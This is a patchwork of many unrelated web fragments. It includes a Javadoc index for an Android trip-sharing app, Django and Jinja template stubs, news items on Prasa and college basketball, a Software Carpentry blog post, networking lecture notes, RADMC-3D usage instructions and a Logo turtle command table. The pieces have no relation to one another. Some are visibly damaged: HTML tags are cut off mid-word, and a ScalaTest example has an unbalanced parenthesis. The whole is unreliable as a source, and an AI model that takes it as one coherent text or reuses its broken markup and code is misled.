- Capacity - Variable in class com.fmway.models.trip.Trip
-
- capacity - Variable in class com.fmway.operations.admin.EditTripAdminActivity
-
- capacity - Variable in class com.fmway.operations.admin.TripDetailsAdminActivity
-
- capacity - Variable in class com.fmway.operations.driver.AddTripActivity
-
- capacity - Variable in class com.fmway.operations.driver.EditTripDriverActivity
-
- capacity - Variable in class com.fmway.operations.driver.TripDetailsDriverActivity
-
- capacity - Variable in class com.fmway.operations.passenger.TripDetailsPassengerActivity
-
- CapacityKey - Variable in class com.fmway.models.trip.TripParseDefinitions
-
- cardNo - Variable in class com.fmway.operations.commonActivities.Payment
-
- Chat - Class in com.fmway.models.chat
-
- Chat(String, String, String) - Constructor for class com.fmway.models.chat.Chat
-
This class is for listing the chat list on parse database
each parameter represents a key on parse database
- chat - Variable in class com.fmway.models.chat.ChatTest
-
- ChatList - Class in com.fmway.models.chat
-
- ChatList(ArrayList<Chat>, Activity) - Constructor for class com.fmway.models.chat.ChatList
-
takes the chat type array list and lists the messaging instantly
- chatList - Variable in class com.fmway.operations.commonActivities.tripChat
-
- ChatParseDefinitions - Class in com.fmway.models.chat
-
- ChatParseDefinitions() - Constructor for class com.fmway.models.chat.ChatParseDefinitions
-
- chatParseDefinitions - Variable in class com.fmway.models.chat.ChatParseDefinitionsTest
-
- ChatParseDefinitionsTest - Class in com.fmway.models.chat
-
- ChatParseDefinitionsTest() - Constructor for class com.fmway.models.chat.ChatParseDefinitionsTest
-
- ChatTest - Class in com.fmway.models.chat
-
- ChatTest() - Constructor for class com.fmway.models.chat.ChatTest
-
- checkUser - Variable in class com.fmway.operations.passenger.TripDetailsPassengerActivity
-
- chooseImage(View) - Method in class com.fmway.operations.commonActivities.profileSettings
-
open file choose file dialog
- chooseImage(View) - Method in class com.fmway.operations.passenger.UploadActivity
-
open file choose file dialog
- chooseImage(View) - Method in class com.fmway.operations.passenger.UploadLicenceActivity
-
- chosenImage - Variable in class com.fmway.operations.commonActivities.profileSettings
-
- chosenImage - Variable in class com.fmway.operations.passenger.UploadActivity
-
- chosenImage - Variable in class com.fmway.operations.passenger.UploadLicenceActivity
-
- className - Variable in class com.fmway.models.chat.ChatParseDefinitions
-
each string represents a key on parse database under chat class
- className - Variable in class com.fmway.models.trip.TripParseDefinitions
-
each string represents a key on parse database under trip class
- className - Variable in class com.fmway.models.user.passenger.RatingParseDefinitions
-
each string represents a key on parse database under user class
- className - Variable in class com.fmway.models.user.upload.IssuesParseDefinitions
-
each string represents a key on parse database under issues class
- className - Variable in class com.fmway.models.user.upload.LicenseParseDefinitions
-
each string represents a key on parse database under license class
- className - Variable in class com.fmway.models.user.UserParseDefinitions
-
each string represents a key on parse database under user class
- com.fmway.libs - package com.fmway.libs
-
- com.fmway.models.chat - package com.fmway.models.chat
-
- com.fmway.models.trip - package com.fmway.models.trip
-
- com.fmway.models.user - package com.fmway.models.user
-
- com.fmway.models.user.admin - package com.fmway.models.user.admin
-
- com.fmway.models.user.passenger - package com.fmway.models.user.passenger
-
- com.fmway.models.user.upload - package com.fmway.models.user.upload
-
- com.fmway.operations.admin - package com.fmway.operations.admin
-
- com.fmway.operations.commonActivities - package com.fmway.operations.commonActivities
-
- com.fmway.operations.driver - package com.fmway.operations.driver
-
- com.fmway.operations.passenger - package com.fmway.operations.passenger
-
- com.fmway.userOperations - package com.fmway.userOperations
-
- commentKey - Variable in class com.fmway.models.user.passenger.RatingParseDefinitions
-
- commentText - Variable in class com.fmway.operations.passenger.driverFeedback
-
- Commons - Class in com.fmway.libs
-
- Commons() - Constructor for class com.fmway.libs.Commons
-
- commons - Variable in class com.fmway.libs.commonsUnitTest
-
- commonsUnitTest - Class in com.fmway.libs
-
- commonsUnitTest() - Constructor for class com.fmway.libs.commonsUnitTest
-
- context - Variable in class com.fmway.models.chat.ChatList
-
- context - Variable in class com.fmway.models.trip.PostActivity
-
- context - Variable in class com.fmway.models.user.admin.PostActivityAdminUser
-
- context - Variable in class com.fmway.operations.admin.EditTripAdminActivity
-
- context - Variable in class com.fmway.operations.admin.PostActivityIssueList
-
- context - Variable in class com.fmway.operations.admin.PostActivityLicenseList
-
- context - Variable in class com.fmway.operations.admin.TripDetailsAdminActivity
-
- context - Variable in class com.fmway.operations.admin.UserDetailsAdminActivity
-
- context - Variable in class com.fmway.operations.commonActivities.tripPage
-
- context - Variable in class com.fmway.operations.driver.AddTripActivity
-
- context - Variable in class com.fmway.operations.driver.EditTripDriverActivity
-
- context - Variable in class com.fmway.operations.driver.TripDetailsDriverActivity
-
- context - Variable in class com.fmway.operations.passenger.TripDetailsPassengerActivity
-
- createdAt - Variable in class com.fmway.models.user.User
-
- createdAtKey - Variable in class com.fmway.models.chat.ChatParseDefinitions
-
- createdAtKey - Variable in class com.fmway.models.user.passenger.RatingParseDefinitions
-
- createdAtKey - Variable in class com.fmway.models.user.UserParseDefinitions
-
- currentbalance - Variable in class com.fmway.operations.commonActivities.Payment
-
- currentBalance - Variable in class com.fmway.operations.commonActivities.Payment
-
- currentBalance - Variable in class com.fmway.operations.passenger.TripDetailsPassengerActivity
-
- currentDate(String) - Method in class com.fmway.libs.Commons
-
- currentDate_test_expectCurrentDate() - Method in class com.fmway.libs.commonsUnitTest
-
- cvc - Variable in class com.fmway.operations.commonActivities.Payment
-


node-enumerable Playground
Playground
Documentation
Press the
button next to
Playground
or use the access key
x
to execute the code on the left side.
Copyright
©
Marcel Joachim Kloubert


{% extends "partials/tooltips/base.html" %}
{% block title %}
Court Registry
{% endblock %}
{% block inner %}
A registry is where you file your divorce documents. Registries are located in courthouses
around the province.
{% endblock %}
{% block label %}
{% if text %}{{ text }}{% else %}registry{% endif %}
{% endblock %}


We are placing Prasa under administration – Mbalula
The minister has dissolved the interim board with immediate effect and Bongisizwe Mpondo has been appointed administrator.
by Citizen reporterFikile Mbalula. Picture: GCIS
Transport Minister Fikile Mbalula has announced that Passenger Rail Agency of South Africa (Prasa) has been placed under administration.
At a press briefing, Mbalula also came to a decision to dissolve the interim Prasa board, a decision based on issues within Prasa.
This was informed by experience as the challenges were deep-rooted, he said, and replacing an interim board with a permanent one would not solve the problem.
Bongisizwe Mpondo has been appointed Prasa administrator with immediate effect while Mbalula is determined to stabilise the state-owned enterprise.
Among the administrator’s key priorities will be addressing all matters raised in the auditor-general’s report to ensure that there are no repeat findings.
Mpondo is an entrepreneur who has experience in corporate governance as well as working with public institutions to improve operational efficiencies. He has served on the boards of many public entities.
The SOE has been in the spotlight since President Cyril Ramaphosa, alongside Mbalula, was trapped during commute in Pretoria for almost four hours.


@* * Copyright 2010-2017 Artima, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @(selectedStyle: examples.StyleTraitExamples)
File
import org.scalatest.Matchers._ import java.io.File val javaHomeDir = new File(System.getProperty("java.home")) javaHomeDir should exist // Check if a directory exists val javaHomeLicenseFile = javaHomeDir + System.getProperty("file.separator") + "LICENSE") javaHomeLicenseFile should exist // Check if a file exists javaHomeLicenseFile shouldBe readable // Check if a file is readable javaHomeLicenseFile shouldBe writable // Check if a file is writable


No. 16 Miami women edge NC A&T in Maggie Dixon Classic
by The Associated PressCHICAGO (AP) - Mykea Gray hit the go-ahead 3-pionter with 18 seconds left and scored 19 points in No. 16 Miami’s 68-67 victory over North Carolina A&T; in the Maggie Dixon Classic.
Beatrice Mompremier had 18 points, eight rebounds and four blocks for Miami (4-0).
Deja Winters led N.C. A&T; (2-3) with 23 points.
NO. 19 DEPAUL 109, ARKANSAS STATE 64
CHICAGO (AP) - Jolene Daninger had 16 points for DePaul in the Maggie Dixon Classic.
The Blue Demons (3-1) made nine 3-pointers in the first quarter to take a 45-15 lead and had 10 3s and a 29-point advantage at the half. DePaul finished with 16 3-pointers on 42 attempts.
Morgan Wallace had 21 points for Arkansas State (1-3).
More AP women’s basketball: https://apnews.com/Womenscollegebasketball and https://twitter.com/AP_Top25
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


A website by Eric Wan
So perhaps the most useful feature would be positional information of each firefighter. Each person could see exactly who was where, and how far away, and the Commander, outside on his laptop, would also have a better idea of who needs to be where.
How can we accomplish this? Gozio, a startup in Atlanta, has a product that can provide map directions for navigating INSIDE a hospital - this would require pretty accurate readings. A quick bit of research on their website revealed that they uniquely combine several types of signals - including wifi, cellular, magnetic, and bluetooth. This gave us some starting ideas.
Wifi is out.  Cellular is out. It's simply not logistically viable to have all of the masks be transmitting through cellular, which isn't always reliable either. Magnetic is out. We'd need existing magnets set up that we have pre-mapped. So that left us with bluetooth. It's cheap, can transmit quite far if needed, and shouldn't be that hard!
That leaves us with the task of calculating position. Bluetooth triangulation would not be accurate. So we looked into using acclerometer information. Most everyone agrees that it's just not possible - even if you use Kalman's filter to reduce noise, you still are left with doubly-integrating acceleration to determine position. The instruments would have to be PERFECTLY accurate, and still there would be plenty of error. As time continues, your inaccuracy increases, and after one minute you could have over 6000 meters of error. So that's out.
I looked into GPS briefly. Adafruit sells $45 GPS units for RPi, which isn't too expensive! However, Zack and I are in agreement - buying this would be too easy. It wouldn't be Georgia Tech, it wouldn't be InVenture, and it wouldn't be us. We don't just buy our way through our problems
Luckily, a co-worker of mine at ADP gave me a great suggestion - RFID! Wait a minute, RFID? Supposedly, he was able to achieve CENTIMETER accuracy with RFID chips. I'm still waiting on additional information about it, but hopefully we can integrate it into our system.


{% extends "base.html" %} {% block title %}{{ block.super }} - API | Share and store code or command snippets.{% endblock %} {% block body_styles %} id="userpage"{% endblock %} {% block logo %} {% endblock %} {% block content %} {% if request.user.is_authenticated %} {% include 'userpage-header.html' %} {% endif %}
Note: API development is still in-progress. Follow the API updates on UserVoice and Twitter.
The format of this API doc was inspired by the cleverly manufactured Baconfile API crafted by the very talented Wilson Miner.


--- title: Keynote UX - Free stencils to make interactive prototypes and website wireframes in Apple Keynote layout: default description: Free stencils for creating interactive prototypes and website wireframes in Apple Keynote. I created these from scratch in my job at ChallengePost and I'm sharing them with you because I like you. author: Colin Nederkoorn ---


{% extends "layout.html" %} {% block css_includes %} {% endblock %} {% block js_includes %} {% endblock %} {% block body %}
Try searching again or review this list of popular bills.


My Very Special Columns
This is a bunch of text split into three columns using the CSS `columns` property. The text is equally distributed over the columns.
This is a bunch of text split into three columns using the CSS `columns` property. The text is equally distributed over the columns.


This is a benchmark application aimed to assess the performance of Kurento Media Server. This application is supposed to be started with two parameters:
kms.ws.uri
: URL of the KMS under evaluation
(by default ws://<IP_ADDRESS>:8888/kurento
)fake.kms.ws.uri
: URL of the KMS used to create
fake clients (by default also ws://<IP_ADDRESS>:8888/kurento
)mvn spring-boot:run -Dkms.ws.uri=ws://<IP_ADDRESS>:8888/kurento -Dfake.kms.ws.uri=ws://<IP_ADDRESS>:8888/kurento


{% extends "registration/base.html" %} {% load static widget_tweaks %} {% block title %}Verification{% endblock %} {% block content %}
Choose sms or voice, and we will send you a verification code to continue
{{ error }}


--- layout: post authors: ["Greg Wilson"] title: "Miscellaneous Projects" date: 2015-11-15 time: "07:00:00" tags: ["Community"] ---
This post is a bit of a link fest, but after talking about how to contribute at yesterday's instructor retreat, I thought it might be useful to post a few additions to our projects page.
In a "Parsons Problem", you are given the pieces of the solution and asked to arrange them in the correct order. For example, given the words "cat", "eating", "quietly", "is", and "the", you could be asked to construct a grammatically correct sentence that explains what the cat is doing. js-parsons is a Javascript library for building Parsons Problems for programming. It would be cool to incorporate it into our lessons (and to see whether it's easier to auto-grade solutions to such exercises than solutions written from scratch).
A growing number of programmers are coding live online so that people can see what they do and hear how they think. (My favorite is Mike Conley hacking on Firefox.) I would really like to see some Carpentry instructors livecast some data analysis and coding sessions—volunteers?
daff is an R package that can find difference in values between data.frames, store this difference, render it, and apply this difference to patch a data.frame. It can also merge two versions of a data.frame having a common parent. I've been saying for years that better support for diffing and merging things would make it a lot easier for scientists (and everyone else) to adopt version control; is daff a step toward this? If so, should we teach it in our workshops?
I really like our lesson on SQL, but as non-relational databases become more popular, I wonder if it's time for us to cover them as well. Setup wouldn't be as big an obstacle as it once was, thanks to libraries like tinydb. And hey, we can even run SQL queries directly on CSV files.
It would also be useful to integrate this comparison of SQL and Pandas into our lessons. (Of course, we'd have to integrate Pandas first...) There's also this NumPy for R guide, this matrix cheatsheet, and I'm sure we can find others.
And speaking of lessons, it would be great to have more people contribute to Fiona Tweedie's lesson on natural language processing (possibly incorporating material from Allison Parrish). I don't know if this should be combined with a user-friendly replacement for our old lesson on regular expressions, but it should definitely include this example of the problems with manually-entered data.
I think our learners would also like a couple of hours on image processing (the Version 4 lesson on multimedia is woefully out of date, and was never particularly well organized)...
...but most of all I want a lesson on how to write and publish in the early 21st Century. Word or LibreOffice? Version control can't handle them. Markdown or LaTeX? A lot of scientists are simply never going to adopt them, even with help like this. Are Authorea or Google Docs the happy medium? We might not be able to offer a single best solution, but we should at least be able to explain the tradeoffs. And that's just authoring: if we really want to help, we should also explain Depsy, Hypothes.is, Zenodo, ORCID, new publishing models, and all the other cool things that the one percenters of open science now take for granted but their colleagues have never used.
OK, I wasn't done with lesson ideas. I think Abela's chart chooser (adapted from Zelazny's Saying It With Charts) would be a brilliant way to organize a lesson on data visualization: it's a useful medium between Tufte's high-level pontificating (I never know what to do after reading his books) teaching people how to center labels under the ticks on the X axis, and scientific publishers would be very grateful if more authors followed these rules. Bonus marks for integrating Heer's tour of the visualization zoo into the lesson as well.
The errors and exceptions topic in our standard Python lesson is really useful: programmers at all levels spend much (or most) of their time trying to diagnose and correct errors, but most textbooks and courses give the topic short shrift. (If you want a really cool project, create a new programming language with easy-to-understand errors as the most important design criterion.)
Would anyone like to go through the latest recommendations for data management plans, compare what they're asking for with what we teach, and file issues to fill in the gaps? Because one useful goal of our workshops would be to give attendees the understanding needed to write and critique data management or software sustainability plans. DataONE's Data Management Guide for Public Participation in Scientific Research might also figure into this.
We'd like to rebuild our web site using the same "Feeling Responsive" theme that the Data Carpentry site uses. We've made good progress, but there's a lot left to do. If you have good CSS and web design skills, or if you're up for a bit of Python hacking, this is the job for you.


--- layout: post title: Apple, please make MacRuby a public framework date: 2011-03-07 21:38:40.000000000 -08:00 type: post published: true status: publish categories: [] tags: - macruby - ruby meta: {} author: ---
I'm a big fan of MacRuby and have been a big supporter. For those of you who don't know, MacRuby allows you to create awesome Mac OS X apps using Ruby. I'm even writing a book on it - MacRuby in Action.
What's not so awesome is that even though Apple has chosen to include MacRuby in Mac OS X Lion, it's only available as a private framework. This means that MacRuby developers are forced to embed the framework within their applications. It'd be great if Apple could make MacRuby a public framework within OS X Lion.
The author of another MacRuby book, Matt Aimonetti, posted about this today and asked me to help bring some more attention to the issue. He's created a ticket on Apple's radar system and so have I.
If you have time, please help us with this and spread the word. It'd also be great if you could open up a radar ticket as well.


DO NOT USE, internal to the Java-NetCDF library. This package contains Bison 2.4.2 generated DAP parser classes.


Deliccio Classic European Cuisine
Home
Who We Are
Gallery
Contacts
Login
More Website Templates @ TemplateMonster.com - August 1st 2011!
GALLERY


--- layout: post title: 759375 faces date: 2007-01-05 00:45:52.000000000 +01:00 type: post published: true status: publish categories: - fun - life tags: [] meta: _publicize_job_id: '14401148500' _wp_old_slug: '77' original_post_id: '77' author: login: joesixpack email<EMAIL_ADDRESS>display_name: dirk lüsebrink first_name: '' last_name: '' ---
good clean family fun, show your kids and have a good laught


Starting from $180.00/Night
Reserve now for $180.00
Starting from $230.00/Night
Reserve now for $230.00
Starting from $420.00/Night
Reserve now for $420.00
Starting from $1500.00/Night
Reserve now for $1500.00
Come Experience Great Customer Service
Find 4-star style in Lisbon in our hotel accommodations.
Learn More
For those seeking meeting or event space in Lisbon, our hotel also offers a wide array of venue options, plus dynamic catering services.
Whichever airport you find yourself in, our fleet of vehicles are always close-by waiting for You to arrive.


codelerity offer software development, consultancy and advice.
We focus on real-time systems, real-time programming, media, embedded and tools on the JVM.
codelerity was founded by Neil C Smith in 2019. Neil has over 20 years of experience working with Java technologies.
Neil is a long-term advocate for free and open-source software, and a member of the Apache Software Foundation. He develops and contributes to a wide range of projects. In particular, he developed PraxisLIVE, a radical open-source Java live programming environment, about which he regularly talks at conferences and user groups.
The technologies in PraxisLIVE form a common thread through the commercial services codelerity provides, and the company continues to support its ongoing development.


As a Scotsman in the New World, Alex loves the Pacific Northwest. When not coding you can find Alex bushcrafting in the Okanagan Forrest, paddling on the Sound or woodworking in his shop. Alex is a lifelong fighter in the Army of the Golden Unicorn against the evil that is Laser Kitteh.
Sarah fell in love with programming when she was a little kid making Lisa Frank-inspired websites (they were the bomb.com!) She was working in the event industry and decided it wasn’t for her anymore. Cue Code Fellows! Now she works hard at defeating the evil Laser Kittehs, and using code to do it!
Sara has spent the past many years as a stay-home mom of three kids. She came to Code Fellows to sharpen her skills and explore new career opportunities. In her free time she cuddles her dog Douglas, enjoys a good campfire, bbq's and paints and restores furniture. Long live the Unicorn Empire!


--- layout: page title: Archive description: Page with links to all old articles of the blog theme: green ---


It seems you have no link to Toggl yet... please add your token so TEAHub can register your contributions!
(This page is only shown the first time asking you to enter the toggl project).
@b3.form(routes.UIController.list) { @b3.text(togglTokenForm("togglToken"), '_label -> "token", 'placeholder -> "Please insert Toggle token") Next }
@b3.form(routes.UIController.list) { @b3.text(togglTokenForm("togglToken"), '_label -> "token", 'placeholder -> "Please insert Toggle token") Next }


a charset="utf-8">
NexusPlus - Classified Ads and Listing Template
k rel="stylesheet" type="text/css" href="assets/fonts/line-icons.css">
k rel="stylesheet" type="text/css" href="assets/css/main.css">
Intel Iris Graphics 6100
cle"> 8GB memory
-circle"> 10 hour battery life
-circle"> 13.3" Retina Display
cle"> 1 Year international warranty
Up for sale we have a vintage Raleigh Sport Men’s Bicycle. This bike does have some general wear and surface corrosion on some of the parts but is overall in good shape. It has been checked out and does work. Brakes and gears work. Seat is fully intact.
Frame and fenders are in nice shape with minimal wear. A few minor dents in the fenders but most of the paint is intact.


Tom Overland
About
Portfolio
Contact
(current)
I want to turn your concept into
reality.
Contact Me
Email:
<EMAIL_ADDRESS>Phone:
651-208-2982
Resume
GitHub
LinkedIn


heart_rate_reader module¶
-
heart_rate_reader.
calculate_values
(times, values)¶ - Calculates metrics:
- mean_hr_bpm, voltage_extremes (max, min), duration of data, num_beats, beats [times]
Parameters: - times – [float] array of times corresponding with voltage values
- values – [float] array of voltage values corresponding with times
Returns: metrics dictionary, message (stating if metrics are weird)
-
heart_rate_reader.
find_peaks
(times, values)¶ ” Simple Peak Detection - finds the local max of series of consecutive values above a certain threshold, calculated relative to the global max Helper method to calculate_values
Parameters: - times – [float] list of times corresponding with values
- values – [float] list of voltage values corresponding with times
Returns: peak_times [float] list of times corresponding to local maxima (voltage peaks)
-
heart_rate_reader.
main
()¶ Main function for heart_rate_reader.py Loops through each test_data file and saves in results folder
-
heart_rate_reader.
parse_data
(file)¶ Parses data from file and gives cleaned (noise reduced) version of times, voltages
Parameters: file – (string) path to csv file to be parsed Returns: avg_times [float]: list of running avg times corresponding with voltages avg_voltage [float]: list of running avg voltages corresponding w/ times all_times [float]: list of all times in csv file all_voltages [float]: list of all voltages in csv file
-
heart_rate_reader.
save_json
(data, save_path)¶ Saves the data inputted as a json file to the save_path specified
Parameters: - data – dictionary of metrics to save
- save_path – path to filee (ie where to save json file)


Can you think of an analogy to describe HTML, CSS and the DOM? How would you describe it to your non-technical friend?
HTML is like the structure of a large tree. If you were to design your own tree, the way is is shaped and structured would be the HTML. CSS would be the way the bark looks, it's colours, the leaves, where each leaf is placed, what colour the leaves are etc. The DOM would be the eyes and optic nerves of the human looking at the tree. The DOM sees the code and interprets it, then spits it out onto the webpage, much like your eyes would process and then give your brain the information that tells you what you're looking at is a tree and shows you what the tree looks like.
What is meant by boxifying design?
Boxifying your design is simply drawing boxes around all the elements you see in your design. This will help you visualise better how you will design your website in html and css, both of which operate using boxes.
What is the box model?
Content, padding, border, margin. All of these can be sized according to your liking (except content). N.B. It's good to note that margins do not appear to affect the element's background, while the others do.


The href Attribute
HTML links are defined with the a tag. The link address is specified in the href attribute:
Visit W3Schools


Morgan McCircuit
Home
About
Who I am
cvcx
What I do
cvcx
What I've Done
cxvxcv
JavaScript
I enjoy making the web come to life with Angular
HTML & CSS
I love coding
Design
I love angular


Do you like what you see?
Help Eat Your Greens improve your online experience by completing a usability questionnaire.


Originally hailing from southwest Missouri, I currently call San Francisco my home. I write code, brew beer, and take pictures of things.


void StpCallback_OnTopologyChange ( const STP_BRIDGE* bridge, );
Application-defined function that is called by the STP library when it detects a change in the network topology.
The STP library calls this callback when it detects a topology change on the local bridge.
StpCallback_OnTopologyChange is a placeholder name used throughout this documentation. The application may name this callback differently.


Notes for October 19th
- Node: any device which runs a link-layer protocol
- hosts, routers, switches, wifi access points, etc
- link: communication channel connecting adjacent nodes
- transmitting node encapsulates datagram ina link-layer frame and sends frame into link
- REAL LIFE EXAMPLE: travel agent planning a trip from new jersey to switzerland
- agent decides it's best to take a taxi to the jersey airport, a plane to the switzerland airport, and a train to the specific town in switzerland
- once reservations are made and tickets are bought, it is the various transport companies' jobs to get the traveller to the destination
- traveller = datagram, transportation companies = links, agent = routing protocol
- possible link-layer protocol services
- framing
- data field where datagram is inserted and some header fields
- structure specified by link-layer protocol
- link access
- Medium Access Control protocol specifies rules for transmitting frame onto link
- simplest for point-to-point links directly connection exactly two nodes
- more complicated when multiple nodes share one broadcast link (multiple access problem
)
- coordinates frame transmissions of nodes
- reliable delivery
- guarantees to move each datagram across the link without error
- acheived similar to TCP, with ACKs and retransmissions
- often used for links with high error rates (like wifi)
- aims to correct error locally instead of forcing source to retransmit the whole thing
- considered unnecessary overhead for more reliable methods (fiber, coax, twisted-pair)
-
- error detection and correction
- bit errors introduced by attenuation and noise
- more sophisticated than checksum, implemented in hardware
- able to determine exactly where the error is and then fix it
- link layer mostly implemented in a network adapter (aka Network Interface Card)
- heart of NIC, link-layer controller, a single special-purpose chip that implements many services
- most functionality in hardware
- NIC originally on a separate card, modern day integrated into motherboard (LAN-on-motherboard)
- Actual sending of packets
- sending side
- controller takes a datagram, encapsulates it in a link-layer frame and fills out header fields, and transmits into communication link as per link-access protocol
- possibly sets error detection bits, if link is prone to errors
- receiving side
- controller receives frame, extracts datagram
- possibly checks for and corrects errors, if error detection bits were set
- server link software does high-level tasks like assembling addressing info and activating hardware
- receiver link software handles interrupts, errors, and passing the extracted datagram up
There are no hugs in computer science
Home


Contact {% capture contact_include %}{% include contact.md %}{% endcapture %} {{ contact_include | markdownify }}


Manchester United's priority transfer targets 'revealed' after summer interest in Sean Longstaff
Newcastle United player Sean Longstaff was on Manchester United's radar last summer but a report claims he is not a priority target in 2020
by Ciaran KellyNewcastle United midfielder Sean Longstaff is not a 'key target' for Manchester United, according to reports.
The 22-year-old was on the Reds' radar last summer as Ole Gunnar Solskjaer looked at signing a replacement for Ander Herrera, who joined PSG on a free transfer.
Manchester United tend to identify three targets per position after whittling down a long list of hundreds and hundreds of players assembled on the club's database.
NUFC latest
The latest Newcastle United news and views
- £8million striker Yoshinori Muto facing uncertain Newcastle future
- WATCH: Liam Gallagher pays tribute to Newcastle United's Longstaff brothers at Arena show
- Philippe Albert reveals the one thing Les Ferdinand was better at than Alan Shearer
- Newcastle facing big contract calls with future of first teamers clouded in uncertainty
- Owen, Cacapa and Loic Remy in the wrong airport: Newcastle's 23 worst ever transfer calls
Longstaff fits the Reds' current transfer policy as a young British player who is humble off the field but ESPN claim that Solskjaer has identified Erling Haaland, Jadon Sancho, James Maddison, Callum Wilson, Declan Rice, John McGinn, Jack Grealish and Moussa Dembele as priority targets.
Despite much talk last summer, a bid for Longstaff never arrived from Manchester and Newcastle vowed the midfielder was not for sale.
Steve Bruce did not believe there was 'any real legs in the Man United story' and has since urged Longstaff to focus on his own performances after the youngster admitted the speculation affected him last summer.
The Newcastle head coach is keen to give Longstaff improved terms and also tie down younger brother Matty, whose current deal runs out next summer.
Longstaff is currently serving a three-match ban after being sent off in Newcastle's 1-1 draw against Wolves last month.


Hold talks with Sri Lankan President to secure Tamils’ rights, Vasan tells Centre
by Special CorrespondentTamil Maanila Congress president G.K. Vasan has urged the Central government to hold talks with newly elected Sri Lankan President Gotabaya Rajapaksa to secure the rights of Tamils in the island nation.
In a statement, Mr. Vasan said Mr. Rajapaksa should take steps to guarantee the rights of Tamils. “The growth and security of Tamils, Christians and Muslims should be taken into account alongside the development and growth of the Sinhalese population,” he said.
Just like India, Sri Lanka should take measures to ensure peace and harmony between followers of different religions as well as the majority and minority communities, he said.


Oli's Burguer
HOME
ABOUT US
BLOG
CONTACT
Products
$15.00
Juicy
$27.00
Delicious
$23.00
Appetizing
olisburguer@email.com


Application for RADMC-3D
One key application of AggScatVIR
is observational modeling of (un)polarized scattered light from protoplanetary disks and debris disks. Our database has been designed so that users can easily carry out radiative transfer simulations with RADMC-3D, which is a publicly available radiative transfer simulation code. Since our dust data files (dustkapscatmat_XXX.inp
) have a data structure directly readable by RADMC-3D v2.0, one can run RADMC-3D without additional data processing. You need to pick up one of our dust models and put it into a directory that RADMC-3D will be running. You are ready to run RADMC-3D as long as the other necessary input files have been properly prepared (see below).
Step-by-step guide to run RADMC-3D with AggScatVIR
Here is a step-by-step guide to run RADMC-3D with AggScatVIR
.
First, please make sure that RADMC-3D has been installed in your working environment. If not, please follow the instructions in the manual of RADMC-3D to install it on your system.
Suppose you’ve already installed RADMC-3D, then please go into a directory that you want to let RADMC-3D run. In other words, it is the directory where other necessary input files for RADMC-3D are located. Next, you need to choose one of our dust model files (dustkapscatmat_XXX.inp
) and put it into your working directory.
You will also need to modify (or prepare) two other input files of RADMC-3D (radmc3d.inp
and dustopac.inp
) so that the code can recognize our dust file. In radmc3d.inp
, please make sure that the full polarization treatment is on. This can be done by inserting the following line in the file:
scattering_mode_max = 5
In dustopac.inp
, please ensure that the inputstype
and file_name_extension
options are properly given. For example, this file can be like this:
iformat
nspec
-----------------------------
inputstyle <=== Put 10 to use full scattering matrix elements
iquantum
file_name_extension <=== Put XXX in dustkapscatmat_XXX.inp
where XXX
should be read as your desired dust model name.
Now it is ready. If you would like to make a scattered light image at a wavelength of 1.6 microns, you type:
radmc3d image (... some other options...) lambda 1.6 stokes
The final option stokes
is necessary if you would like to obtain an image with the full Stokes parameters.
Tips for radiative transfer simulations
Warning
Thermal Monte Carlo runs: If you try to run mctherm
in RADMC-3D using a dust file in this package, you will see warnings regading the wavelength coverage. This is because our database only covers visible and near-IR wavelengths, and this is too narrow to determine radiation equilibrium temperature of a dust particle. Therefore, the package is more suited for monochromatic radiative transfer simulations.
See also
Chopping forward scattering: Dust particles much larger than the wavelength may exhibit a strong forward scattering, which may cause some issues in your simulations. One approximate way to mitigate this issue is to chop the forward scattering peak off. For this purpose, AggScatVIR
offers the dustkapscatmat_XXX.inp file with two different chopping angles: 5 and 10 degrees. If you encounter the issue, please consider using those files instead of those from the nochop
directory.


Etchy is meant to be a collaborative, experimental art tool, and I don't want anyone to feel unsafe or uncomfortable while using it.
Above all, if you want to use Etchy, you have to agree:
If you have any issues or have suggestions or comments or anything, let me know, either at austin(dot)slominski(at)gmail(dotcom) or on Twitter (@aceslowman)
select someone to share your camera with.
click and drag to
draw.
if your friend disappears, they might come back after a second. if they don't refresh and try again
connect with:
austin slominski 2021
left drag: draw circle, middle drag: erase, right drag: write message


{% blocktrans trimmed %} Welcome to the Black Blues Dimosaur's den (Latin: Dimmu Saurus). It is a garage project for blues, rock and metal music, without any rules or limitations. The way real music should be. {% endblocktrans %}
{% blocktrans trimmed %} If you are a fan of this kind of music, then jump straight ahead to the discography and hear a song. Or if you are interested in the project's background, read more about Dimmu Saurus. {% endblocktrans %}


| button | keyboard shortcut | meaning |
|---|---|---|
| Q | Word is perfectly segmented | |
| P | Some of the word is missing, or extra material is included | |
| B | The clip isn't speech at all | |
| M | A different word is produced, or the clip needs a second look | |
| Z | Delete last 20 seconds worth of annotations | |
| [click on waveform] | space | Listen again |


Welcome to the coq-ext-lib project website! This project is part of coq-community.
A collection of theories and plugins that may be useful in other Coq developments.
This is an open source project, licensed under the The FreeBSD Copyright.
The current stable release of coq-ext-lib can be downloaded from GitHub.
Other related publications, if any, are listed below.


| Name(s) | Description |
|---|---|
| FORWARD pixels FD pixels |
moves turtle forward in its current heading by pixels distance returns the value of pixels |
| BACK pixels BK pixels |
moves turtle backward in its current heading by pixels distance returns the value of pixels |
| LEFT degrees LT degrees |
turns turtle counterclockwise by degrees angle returns the value of degrees |
| RIGHT degrees RT degrees |
turns turtle clockwise by degrees angle returns the value of degrees |
| SETHEADING degrees SETH degrees |
turns turtle to an absolute heading returns number of degrees moved |
| TOWARDS x y | turns turtle to face the point (x, y), where (0, 0) is the center of the screen returns the number of degrees turtle turned |
| SETXY x y GOTO x y |
moves turtle to an absolute screen position, where (0, 0) is the center of the screen returns the distance turtle moved |
| PENDOWN PD |
puts pen down such that when the turtle moves, it leaves a trail returns 1 |
| PENUP PU |
puts pen up such that when the turtle moves, it does not leave a trail returns 0 |
| SHOWTURTLE ST |
makes turtle visible returns 1 |
| HIDETURTLE HT |
makes turtle invisible returns 0 |
| HOME | moves turtle to the center of the screen (0 0) returns the distance turtle moved |
| CLEARSCREEN CS |
erases turtle's trails and sends it to the home position returns the distance turtle moved |
| Name | Description |
|---|---|
| XCOR | returns the turtle's X coordinate from the center of the screen |
| YCOR | returns the turtle's Y coordinate from the center of the screen |
| HEADING | returns the turtle's heading in degrees |
